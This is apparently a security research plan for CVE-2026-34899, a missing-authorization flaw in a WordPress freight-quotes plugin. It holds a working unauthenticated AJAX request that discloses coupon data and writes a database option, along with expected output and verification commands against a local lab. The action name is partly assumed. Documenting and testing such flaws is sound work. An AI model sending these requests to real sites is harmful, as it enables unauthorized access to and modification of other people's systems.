Exploitation Research Plan - CVE-2026-34899

1. Vulnerability Summary

The LTL Freight Quotes – Worldwide Express Edition plugin (<= 5.2.1) is vulnerable to Missing Authorization. The function EnSpeedfreightVa::get_va_coupon_data in fdo/en-va.php lacks a sufficient capability check (or the check is bypassable/missing in version 5.2.1) and is exposed via a WordPress AJAX action. This allows unauthenticated attackers to trigger an API synchronization process that updates the WordPress database (update_option) and discloses sensitive promotional data, including coupons and registration URLs.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: get_va_coupon_data (inferred from method name) or wwe_get_va_coupon_data.
• Method: POST or GET.
• Authentication: None required (vulnerable via wp_ajax_nopriv_ registration).
• Preconditions: The WordPress option en_va_coupon_data should be empty (default state) for the update_option side effect to trigger.

3. Code Flow

1. Entry Point: An unauthenticated user sends a request to admin-ajax.php with the action parameter set to the hook associated with get_va_coupon_data.
2. Hook Execution: WordPress executes the callback registered to wp_ajax_nopriv_[action], which maps to EnSpeedfreightVa::get_va_coupon_data().
3. Vulnerable Function (fdo/en-va.php):
   • get_va_coupon_data() is called.
   • In the vulnerable version (5.2.1), the current_user_can('manage_options') check is either missing or bypassed.
   • The function checks if get_option('en_va_coupon_data') is empty.
   • If empty, it calls $this->get_va_coupon_data_from_api().
   • get_va_coupon_data_from_api() makes an outbound request to https://validate-addresses.com/use_coupon.
   • The response is decoded, and if a promo key exists, update_option('en_va_coupon_data', $va_coupon_data) is called.
4. Information Disclosure: The function then calls $this->get_va_coupon_parsed_data($va_coupon_data), which returns an array containing coupon, status, and register_url. This data is then echoed back to the attacker (usually as JSON).

4. Nonce Acquisition Strategy

Based on the provided source for fdo/en-va.php, the get_va_coupon_data function does not perform any nonce verification (e.g., check_ajax_referer or wp_verify_nonce).

Exploitation does not require a nonce.

5. Exploitation Strategy

Step 1: Confirm AJAX Action

The researcher should first identify the exact AJAX action string.

# Search for the AJAX registration in the plugin directory
grep -r "get_va_coupon_data" /var/www/html/wp-content/plugins/ltl-freight-quotes-worldwide-express-edition/

Expected output: Look for add_action('wp_ajax_nopriv_...', ...) or similar. We will assume the action is get_va_coupon_data.

Step 2: Trigger Unauthorized Sync/Disclosure

Perform an unauthenticated request to the AJAX endpoint.

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=get_va_coupon_data

Step 3: Analyze Response

A successful exploit will return a JSON object containing coupon information.

{
    "coupon": "PROMO123",
    "status": 1,
    "va_user": false,
    "va_company_id": false,
    "va_company_text": "",
    "register_url": "https:\/\/validate-addresses.com\/register?code=...",
    "login_url": "https:\/\/validate-addresses.com\/login?code=..."
}

6. Test Data Setup

1. Install and activate LTL Freight Quotes – Worldwide Express Edition 5.2.1.
2. Ensure no configuration has been performed (the option en_va_coupon_data should be non-existent or empty).
3. Optionally, verify the option state via WP-CLI:

   wp option get en_va_coupon_data
   

   Result: "Error: Could not find 'en_va_coupon_data' option."

7. Expected Results

• The admin-ajax.php request returns a JSON response containing the coupon data fetched from the Eniture API.
• The WordPress database is modified: the en_va_coupon_data option is populated with the API response.
• No authentication or nonces are required.

8. Verification Steps

After sending the HTTP request, verify the database state using WP-CLI:

# Check if the option was created/updated
wp option get en_va_coupon_data

Expected Result: A JSON string containing promotional data.

9. Alternative Approaches

If the direct get_va_coupon_data action name is incorrect, search woocommercefrieght.php for any add_action calls that reference the EnSpeedfreightVa class or the fdo/en-va.php file.

If the site is already configured (option not empty), the update_option call will not trigger, but the Information Disclosure (returning the existing coupon data) will still occur, which is sufficient to demonstrate the Missing Authorization vulnerability.